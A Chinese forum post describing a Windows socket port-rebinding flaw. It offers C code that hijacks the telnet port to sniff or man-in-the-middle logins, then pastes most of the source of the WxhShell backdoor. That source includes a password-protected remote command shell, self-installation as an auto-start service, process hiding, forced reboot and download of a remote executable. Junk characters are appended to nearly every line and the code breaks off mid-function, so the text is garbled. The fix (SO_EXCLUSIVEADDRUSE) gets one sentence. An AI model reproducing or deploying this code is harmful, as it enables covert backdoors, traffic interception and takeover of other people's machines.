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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lsA?|4`mn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q1pB~eg5  
 OEnCN  
  saddr.sin_family = AF_INET; I/* ULR,  
*BHp?cn;F2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 08G${@D+X0  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V@o#" gZ  
TpcJ1*t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oLIgj,k{*  
Zk~~`h  
  这意味着什么?意味着可以进行如下的攻击: EslHml#  
N"8'=wB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y^tUcBm\  
=z!/:M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) unc8WXW  
L<k(stx~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 46U*70  
=$SvKzN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V 5D8z  
B&m6N,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 . ZP$,  
lk.Mc6)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N qS]dH61  
r;_*.|AH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GBY{O2!3u  
_$_,r H  
  #include ,H>'1~q  
  #include *$Y_ %}  
  #include #'dNSez5  
  #include    '*D>/hn|:]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |j=Pj)5J  
  int main() W. BX6  
  { ? =G{2E.  
  WORD wVersionRequested; 'x6rU"e$J  
  DWORD ret; GT,1t=|&V  
  WSADATA wsaData; Y<h6m]H  
  BOOL val; vj9'5]!~q  
  SOCKADDR_IN saddr; Rxlz`&   
  SOCKADDR_IN scaddr; EY^?@D_<  
  int err; $8}'h  
  SOCKET s; %7[q%S  
  SOCKET sc; rvuasr~  
  int caddsize; lvx[C7?  
  HANDLE mt; HCT+.n6  
  DWORD tid;   .d6b ?t  
  wVersionRequested = MAKEWORD( 2, 2 ); 7%Ou6P$^fr  
  err = WSAStartup( wVersionRequested, &wsaData ); DE+k'8\T  
  if ( err != 0 ) { UCj{ &  
  printf("error!WSAStartup failed!\n"); sQ.t3a3m  
  return -1; m- bu{  
  } }W0_eQ  
  saddr.sin_family = AF_INET; &"( zK"O  
   3_8W5J3I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <99/7>#  
k$GtzjN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2~R%_r+<  
  saddr.sin_port = htons(23); "B>8on8O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (TU/EU5  
  { 3L36 2  
  printf("error!socket failed!\n"); !v8](UI8-  
  return -1; B=~uJUr  
  } =b, m3 1  
  val = TRUE; m d `=2l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zkquXzlgB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >qBJK)LHOv  
  { ~n$\[rQ  
  printf("error!setsockopt failed!\n"); Ehxu`>@N  
  return -1; EQ.K+d*K][  
  } P *&Cght>0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l6zYiM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Tr%lO5?6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AH-BZ8  
U>sEFzBup  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 51tZ:-1!  
  { |{JI=$  
  ret=GetLastError(); Shv$"x:W  
  printf("error!bind failed!\n"); r'4Dj&9Ac  
  return -1; Y<V$3h  
  } t37<<5A  
  listen(s,2); !f]kTs]j~  
  while(1) BS ]:w(}[  
  { Lrmhr3 w5  
  caddsize = sizeof(scaddr); > `mV^QD  
  //接受连接请求 3 . K #,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >.I9S{7  
  if(sc!=INVALID_SOCKET) 'S|7<<>4k  
  { dL_9/f4   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \_YDSmjy  
  if(mt==NULL) I E{:{b\  
  { ^#IE t#  
  printf("Thread Creat Failed!\n"); `X)A$lLr  
  break; mT #A?C2  
  } o+.ySSBl+  
  } `F]  
  CloseHandle(mt); 0 vYG#S  
  } \ C>+ubF  
  closesocket(s); x4(8 =&Z  
  WSACleanup(); tfD7!N{  
  return 0; fz A Fn$[  
  }   x6^Y&,y9kU  
  DWORD WINAPI ClientThread(LPVOID lpParam) bDm7$ (  
  { F`GXho[  
  SOCKET ss = (SOCKET)lpParam; %'X~9Pvi  
  SOCKET sc; r*dNta<  
  unsigned char buf[4096]; wWSo+40  
  SOCKADDR_IN saddr; 1xu~@v 60  
  long num; ]s!id[j  
  DWORD val; ^!x! F  
  DWORD ret; 8]oolA:^4s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M6bM`wHH>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '1(6@5tyWk  
  saddr.sin_family = AF_INET; CRD=7\0(D+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ql%B=vgKL  
  saddr.sin_port = htons(23); "vg.{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jgS3#  
  { z~==7:Os  
  printf("error!socket failed!\n"); D/JSIDd  
  return -1; q#SEtyJL  
  } 3=^)=yOd  
  val = 100; C"$~w3A k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;mRZ_^V;  
  { oe|8  
  ret = GetLastError(); Xk/iyp/  
  return -1; ~y?Nn8+&f  
  } $VB dd~f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \XYidj  
  { )2#&l  
  ret = GetLastError(); 2r ;h">  
  return -1; ca3SE^  
  } _aBy>=2c$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u! &T}i:  
  { RRpY%-8M  
  printf("error!socket connect failed!\n"); \yZVn6GVr  
  closesocket(sc); hlZ{bO 'f  
  closesocket(ss); IC(:RtJ  
  return -1; 3l,-n|x  
  } *8uS,s6g  
  while(1) ecQ{ePoU  
  { r d-yqdJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g{i= $xc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5IOGH*'U8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 em5~4;&'  
  num = recv(ss,buf,4096,0); REYvFx?i  
  if(num>0) ;obOr~Jx'5  
  send(sc,buf,num,0); ck%YEMs  
  else if(num==0) M@P%k`6C  
  break; LnKgT1  
  num = recv(sc,buf,4096,0); Aj=GekX{  
  if(num>0) !h|,wq]k  
  send(ss,buf,num,0); ,Q3OQ[Nmh  
  else if(num==0) D[?;+g/  
  break; !icI Rqcf=  
  } w-2#CX8jY  
  closesocket(ss); s^SU6P/ ]  
  closesocket(sc); "(vK.-T  
  return 0 ; ^1vKhO+p$  
  } 2~l7WW+lx,  
F_9 4k  
rsLkH&aM  
========================================================== PH%'^YAl7  
MG~Z)+g=y  
下边附上一个代码,,WXhSHELL Rd5-ao4  
X 6tJ  
========================================================== ;6D3>Lm  
JN4gH4ez)  
#include "stdafx.h" e^3D`GA  
K;WQV,  
#include <stdio.h> ok0ZI>=,  
#include <string.h> J*MH`;-  
#include <windows.h> a/J Mg   
#include <winsock2.h> 0nL #-`S  
#include <winsvc.h> &VA^LS@b  
#include <urlmon.h> 71Za!3+  
pgiZA?r*<  
#pragma comment (lib, "Ws2_32.lib") c*.  
#pragma comment (lib, "urlmon.lib") LT o5v  
gzn:]Y^  
#define MAX_USER   100 // 最大客户端连接数 n|6G\99l+M  
#define BUF_SOCK   200 // sock buffer J(@" 7RX  
#define KEY_BUFF   255 // 输入 buffer 8Iu6r}k?~`  
=}kISh  
#define REBOOT     0   // 重启 mXyN{`q=  
#define SHUTDOWN   1   // 关机 4w=v /WDo  
fM7B<eB  
#define DEF_PORT   5000 // 监听端口 ?jUgDwc(w  
/3Gq&[R{  
#define REG_LEN     16   // 注册表键长度 .r{t&HO;Y  
#define SVC_LEN     80   // NT服务名长度 M2p|&Z%  
)[J!{$&y  
// 从dll定义API ~tyqvHC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j6RV{Lkr_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c0o Z7)*}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); az:}RE3o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1 :$#a  
)^AZmUYZ  
// wxhshell配置信息 wdfbl_`T  
struct WSCFG { sS;)d  
  int ws_port;         // 监听端口 k}qQG}hB  
  char ws_passstr[REG_LEN]; // 口令 1.k=ji$D0  
  int ws_autoins;       // 安装标记, 1=yes 0=no LH)1IGAx2y  
  char ws_regname[REG_LEN]; // 注册表键名 i!*<LIq  
  char ws_svcname[REG_LEN]; // 服务名 +6$+] u]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =}Zl E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cW_wIy\]&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i%.k{MY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bf+C=A)s0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gf3-%s xA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :wXiz`VH  
#::+# G  
}; !-^oU"  
fs;\_E[)  
// default Wxhshell configuration V^R,j1*  
struct WSCFG wscfg={DEF_PORT, " "m-5PGYo  
    "xuhuanlingzhe", )Z1&`rv  
    1, $Wj{B@k  
    "Wxhshell", _AX,}9  
    "Wxhshell", T9& {s-3*  
            "WxhShell Service", WZn;u3,R  
    "Wrsky Windows CmdShell Service", ;Ivv4u  
    "Please Input Your Password: ", 7yT/t1)  
  1, fh3uo\`@  
  "http://www.wrsky.com/wxhshell.exe", XPqGv=CN  
  "Wxhshell.exe" L(K 5f7\  
    }; R&;x_4dr^  
5I1YB+$}e  
// 消息定义模块 +aL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,cS#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &'&)E((  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aVK,( j9u  
char *msg_ws_ext="\n\rExit."; mj e9i  
char *msg_ws_end="\n\rQuit."; %LP4RZ  
char *msg_ws_boot="\n\rReboot..."; , +J)`+pJx  
char *msg_ws_poff="\n\rShutdown..."; J^yqu{  
char *msg_ws_down="\n\rSave to "; X,aRL6>r  
6`Y:f[VB  
char *msg_ws_err="\n\rErr!"; Nv.  
char *msg_ws_ok="\n\rOK!"; (wq8[1Wzup  
poW%Fzj  
char ExeFile[MAX_PATH]; H=,>-eVv*  
int nUser = 0; ]r 0j  
HANDLE handles[MAX_USER]; bAH<h   
int OsIsNt; tt2 S.j  
oF>`>  
SERVICE_STATUS       serviceStatus; Z\`SDC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |yO%w#  
>I5Wf /$  
// 函数声明 J-'XT_k:iM  
int Install(void); J/K~8s c  
int Uninstall(void); 1}Q9y`65  
int DownloadFile(char *sURL, SOCKET wsh); ; 8DtnnE  
int Boot(int flag); BRM `/s  
void HideProc(void); q MrM^ ~  
int GetOsVer(void); Z;a)P.l.>  
int Wxhshell(SOCKET wsl); %m f)BC  
void TalkWithClient(void *cs); C.:S@{sK  
int CmdShell(SOCKET sock); 8g!79q\c4  
int StartFromService(void); ~mt{j7  
int StartWxhshell(LPSTR lpCmdLine); t?-a JU  
r'#!w3*Cy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qd YYWD   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =cS5f#0  
"GZ}+K*GG  
// 数据结构和表定义  %V ]v,  
SERVICE_TABLE_ENTRY DispatchTable[] = sV2D:%\K:  
{ :{)uD ;  
{wscfg.ws_svcname, NTServiceMain}, fXWE4^jU  
{NULL, NULL} )'f=!'X  
}; "1^tVw|  
_[z)%`kay  
// 自我安装 .rO~a.kG  
int Install(void) R,78}7B  
{ qOy(dG g  
  char svExeFile[MAX_PATH]; [zN*P$U]  
  HKEY key; |3E|VGm~  
  strcpy(svExeFile,ExeFile); //|B?4kk  
*j]Bo,AC  
// 如果是win9x系统,修改注册表设为自启动 zn^7#$fC  
if(!OsIsNt) { B*O/>=_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TO5y.M|7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _F[a2PE2+  
  RegCloseKey(key); 1G12FV>M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @fmp2!?6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i0wBZ i?  
  RegCloseKey(key); @d~]3T  
  return 0; :Ob^b3<t  
    } =>c0NT  
  } GqsV 6kH  
} `3ha~+Goo!  
else { 9-{+U,3)  
aWRi`poZT  
// 如果是NT以上系统,安装为系统服务 @0PWbs$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BNjMq  
if (schSCManager!=0) H.XyNtJ  
{ "}1cQ|0a  
  SC_HANDLE schService = CreateService km9#lK  
  ( 7K.],eo0  
  schSCManager, hy;V~J#  
  wscfg.ws_svcname, am3.Dt2\  
  wscfg.ws_svcdisp, h>*3i#  
  SERVICE_ALL_ACCESS, 3GKKC9C6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k3t]lG p  
  SERVICE_AUTO_START, Ih.)iTs~%  
  SERVICE_ERROR_NORMAL, bcwb'D\a  
  svExeFile, :TP4f ?FA  
  NULL, +{=U!}3|  
  NULL, $eT[`r  
  NULL, ./3/3& 6  
  NULL, (?'vT %  
  NULL *2-b&PQR{  
  ); {ixKc  
  if (schService!=0) 6(7{|iY  
  { Q~ Ad{yC  
  CloseServiceHandle(schService); hG~.Sc:G  
  CloseServiceHandle(schSCManager); -a>CF^tH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LNR1YC1c  
  strcat(svExeFile,wscfg.ws_svcname); k)D5>T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `a[fC9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hNYO+LrI)  
  RegCloseKey(key); zQ,M795@EA  
  return 0; VhLfSN>W  
    } q] pHD})O  
  } @|"K"j#  
  CloseServiceHandle(schSCManager); n+&8Uk  
} > r(`4M:  
} _i7yyt;h  
ji4bz#/B0  
return 1; lY@2$q9BT  
} Q.jThP`p  
-wx~*  
// 自我卸载 :%AEwRZ  
int Uninstall(void) @N<h`vDa  
{ dQrz+_   
  HKEY key; ;AVIt!(L~V  
LU8[$.P  
if(!OsIsNt) { ( 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5c}loOq  
  RegDeleteValue(key,wscfg.ws_regname); o-&0_Zq_  
  RegCloseKey(key); W+8s>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r7V !M1  
  RegDeleteValue(key,wscfg.ws_regname); -{Ar5) ?='  
  RegCloseKey(key); GSSmlJ`  
  return 0; di+ |` O  
  } |%|Vlu  
} L1G)/Vkw  
} ADOA&r[  
else { tN)t`1_j  
^+d]'$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AZik:C"Q  
if (schSCManager!=0) \v=@'  
{ K% snE7X?)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  LDU4 D  
  if (schService!=0) 3rHn?  
  { ' e!WZvr  
  if(DeleteService(schService)!=0) { hg<[@Q%$o  
  CloseServiceHandle(schService); BUsxgs"),  
  CloseServiceHandle(schSCManager); iyR"O1]  
  return 0; {0+WVZ4u  
  } pQc-}o"  
  CloseServiceHandle(schService); {"$ [MYi:  
  } JJg;X :p  
  CloseServiceHandle(schSCManager); M,kO7g  
} $.w$x1  
} ]LxE#R5V  
OJA_OqVp$K  
return 1; ojm IEzsz  
} 3HcduJntl  
noz1W ]  
// 从指定url下载文件 0:I<TJ~P  
int DownloadFile(char *sURL, SOCKET wsh) #ucb  
{ jy>?+hm?  
  HRESULT hr; 8b-mW>xsA  
char seps[]= "/"; }:$ot18  
char *token; $'eY-U8q  
char *file; -w"lW7  
char myURL[MAX_PATH]; :r "G Z  
char myFILE[MAX_PATH]; ;-"q;&1e  
]o=ON95ja  
strcpy(myURL,sURL); O x`K7$)  
  token=strtok(myURL,seps); Sa@'?ApH  
  while(token!=NULL) L[nDjQn"  
  { {' 0#<Z  
    file=token; ?VRsgV'$  
  token=strtok(NULL,seps); ]2|fc5G'  
  } 4e|N^h*!  
$~1mKx]]  
GetCurrentDirectory(MAX_PATH,myFILE); Val"vUZ  
strcat(myFILE, "\\"); b3 =Z~iLv  
strcat(myFILE, file); [MbbL  
  send(wsh,myFILE,strlen(myFILE),0); Tjv'S <  
send(wsh,"...",3,0); aqQ+A:g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8* #$ 3e  
  if(hr==S_OK) Bv jsl  
return 0; Eld[z{n"  
else l.g.O>1   
return 1; ~9#x=nU:+V  
`s UY$Q  
} HIE8@Rv/3  
a(?)r[=  
// 系统电源模块 9MI9$s2y  
int Boot(int flag) Z'!ORn#M  
{ {{M/=WqC  
  HANDLE hToken; E6O!e<ze^  
  TOKEN_PRIVILEGES tkp; W4k$m 2  
s>\^dtG7  
  if(OsIsNt) { GB pdj}2=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n=$ne2/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *ej< 0I{  
    tkp.PrivilegeCount = 1; KDGrX[L:6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +|X`cmnuU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O(=9&PRi  
if(flag==REBOOT) { $%31Gk[I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Q);t,  
  return 0; ns\I Y<Yo  
} Hsv)] %p  
else {  qbS6#7D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  |xg#Q`O  
  return 0; {5c?_U  
} oq$#wiV"Q  
  } 2.MUQ;OX  
  else { [Y, L=p  
if(flag==REBOOT) { 7j=KiiI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A:Gd F-;[  
  return 0; z6d0Y$A G  
} %3t;[$n#  
else { xHaz*w1|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /2/aMF(J  
  return 0; ohe[rV>EX  
} ao.vB']T  
} a.?U $F  
~Sm6{L  
return 1; ]' Ho)Q  
} OUGkam0UK  
h. ftl2>  
// win9x进程隐藏模块 }KIS_krs  
void HideProc(void) ,tyPZR_  
{ C%]qK(9vvd  
#s\kF *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SRk!HuXh  
  if ( hKernel != NULL ) U  yV5A  
  { $>yfu=]?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); % C2Vga#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NR k~  
    FreeLibrary(hKernel); `]6<j<' ,  
  } e`7>QS ;.  
L1(-xNUo_i  
return; U{pg y#/  
} xJ. kd Tr  
A4#F AFy  
// 获取操作系统版本 &Q}%b7  
int GetOsVer(void) PO6yE r  
{ lfC]!=2%~8  
  OSVERSIONINFO winfo; <?!'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jg{2Sxf!c  
  GetVersionEx(&winfo); 4`:POu&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wJq$yqos{  
  return 1; Tt{z_gU6  
  else </xf4.C  
  return 0; R@tEC)Zn  
} "gm5 DE  
m9:ah<  
// 客户端句柄模块 SvvNk  
int Wxhshell(SOCKET wsl) w <"mS*Q  
{ &$_!S!Sa/  
  SOCKET wsh; +By'6?22  
  struct sockaddr_in client; dlCYdwP  
  DWORD myID; i}v.x  
oS9Od8  
  while(nUser<MAX_USER) ~ @xPoD&  
{ BQg3+w:>  
  int nSize=sizeof(client); &V (6N%A^U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vS0 ii  
  if(wsh==INVALID_SOCKET) return 1; !-3;Qj}V  
x`@`y7(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $)o0{HsL+  
if(handles[nUser]==0) Mz2TwU_  
  closesocket(wsh); JJbd h \  
else g.hYhg'KUh  
  nUser++; 5.&)hmpg  
  } vGh>1U:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2/s42 FoG  
Jkbeh.  
  return 0; (g X8iKl  
} WR"1d\m:  
:0 n+RL*5  
// 关闭 socket N5sVRL"7  
void CloseIt(SOCKET wsh) GxG~J4  
{ Tjrb.+cua  
closesocket(wsh); G&1bhi52  
nUser--; C5TV}Bq\  
ExitThread(0); '&Y_,-i  
} Fc\]*  
FE,mUpHIR  
// 客户端请求句柄 ?jlz:Z4  
void TalkWithClient(void *cs) E JuTv%Y8  
{ <y^_&9  
@/^mFqr2  
  SOCKET wsh=(SOCKET)cs; -wg}X-'z0  
  char pwd[SVC_LEN]; 5~IdWwG*w  
  char cmd[KEY_BUFF]; m<>BxX  
char chr[1]; P,'%$DLDg  
int i,j; _\tv ${  
(,QWK08  
  while (nUser < MAX_USER) { !\BZ_guz  
YJ"D"QD  
if(wscfg.ws_passstr) { JVy|SA&R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^w~B]*A :"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H~Vf;k>  
  //ZeroMemory(pwd,KEY_BUFF); 6V JudNA  
      i=0; $'Mf$h  
  while(i<SVC_LEN) { ;2 &"  
breF,d$  
  // 设置超时 LAf#Rco4  
  fd_set FdRead; *OFG3uM  
  struct timeval TimeOut; &U|c=$!\  
  FD_ZERO(&FdRead); !vRZh('R  
  FD_SET(wsh,&FdRead); b-  t  
  TimeOut.tv_sec=8; `}=R  
  TimeOut.tv_usec=0; Qm[s"pM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hd9HM5{p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ztSQrDbbb4  
(M$>*O3SR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c6 mS  
  pwd=chr[0]; -X$EE$:  
  if(chr[0]==0xd || chr[0]==0xa) { ([< HFc`  
  pwd=0; $B%KkD  
  break; Ta?}n^V?;  
  } N2A6C$s  
  i++; '0q$qN  
    } *qO) MpG{  
0,ryy,2  
  // 如果是非法用户,关闭 socket =ejU(1 g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yr-SlO>  
} G|1.qHP[F  
XxmWj-=qO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4{zy)GE|W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |3,WiK='  
.4 WJk>g  
while(1) { T*C25l;w  
4y7_P0}:B  
  ZeroMemory(cmd,KEY_BUFF); -]zb3P  
nD*iSb*  
      // 自动支持客户端 telnet标准   uWdF7|PN7  
  j=0; 04|ZwX$>+  
  while(j<KEY_BUFF) { <.4(#Ebd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bgc]t  
  cmd[j]=chr[0]; <F0^+Pf/  
  if(chr[0]==0xa || chr[0]==0xd) { EA6l11{Gk1  
  cmd[j]=0; o$.#A]Flb  
  break; =+j3E<w  
  } ;HXk'xN  
  j++; 0!dNW,NfJ  
    } &F~d~;G"q  
o(jLirnk  
  // 下载文件 ZJBb% d1;  
  if(strstr(cmd,"http://")) { tjXg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ktTP~7UVi  
  if(DownloadFile(cmd,wsh)) aHW34e@ebL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \~,\|  
  else *%KIq/V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a#r{FoU{M8  
  }  J3 Q_  
  else { kMch   
)f:i4.M  
    switch(cmd[0]) { 2\1+M)  
  '|ntwK*f  
  // 帮助 _< .VP  
  case '?': { 8~C}0H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }bS1M  
    break; d0I s|Gs  
  } p)/e;q^  
  // 安装 /)_4QSz7  
  case 'i': { 08nh y[  
    if(Install()) ,R`CAf%*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "73y}'  
    else C+s/KA%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X#$ oV#  
    break; %(eQ1ir+  
    } =figat  
  // 卸载 G`0O5G:1  
  case 'r': { R'c dEoy  
    if(Uninstall()) M+ %O-B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (rBsh6@)  
    else Zio! j%G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #2_FM!e  
    break; u5}:[4N%I  
    } #  `E  
  // 显示 wxhshell 所在路径 wea  
  case 'p': { q ][kD2  
    char svExeFile[MAX_PATH]; xQvI$vP  
    strcpy(svExeFile,"\n\r"); _j , Tc*T  
      strcat(svExeFile,ExeFile); "H(3pl.  
        send(wsh,svExeFile,strlen(svExeFile),0); cDz@3So.b  
    break; n?r8ZDJ'  
    } pwfQqPC#_  
  // 重启 }5vKQf   
  case 'b': { 4%r?(C0x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -1Li&K7  
    if(Boot(REBOOT)) ZSQiQ2\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sr6'$8#>Y  
    else { fL2P6N@  
    closesocket(wsh); JE9v+a{7  
    ExitThread(0); *g+ ZXB  
    } ?`?Tg&W  
    break; i;%G Z8  
    } ! I?C8)  
  // 关机 HU?1>}4L  
  case 'd': { j13- ?fQ&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  mU4(MjP?  
    if(Boot(SHUTDOWN)) c.]QIIdK  
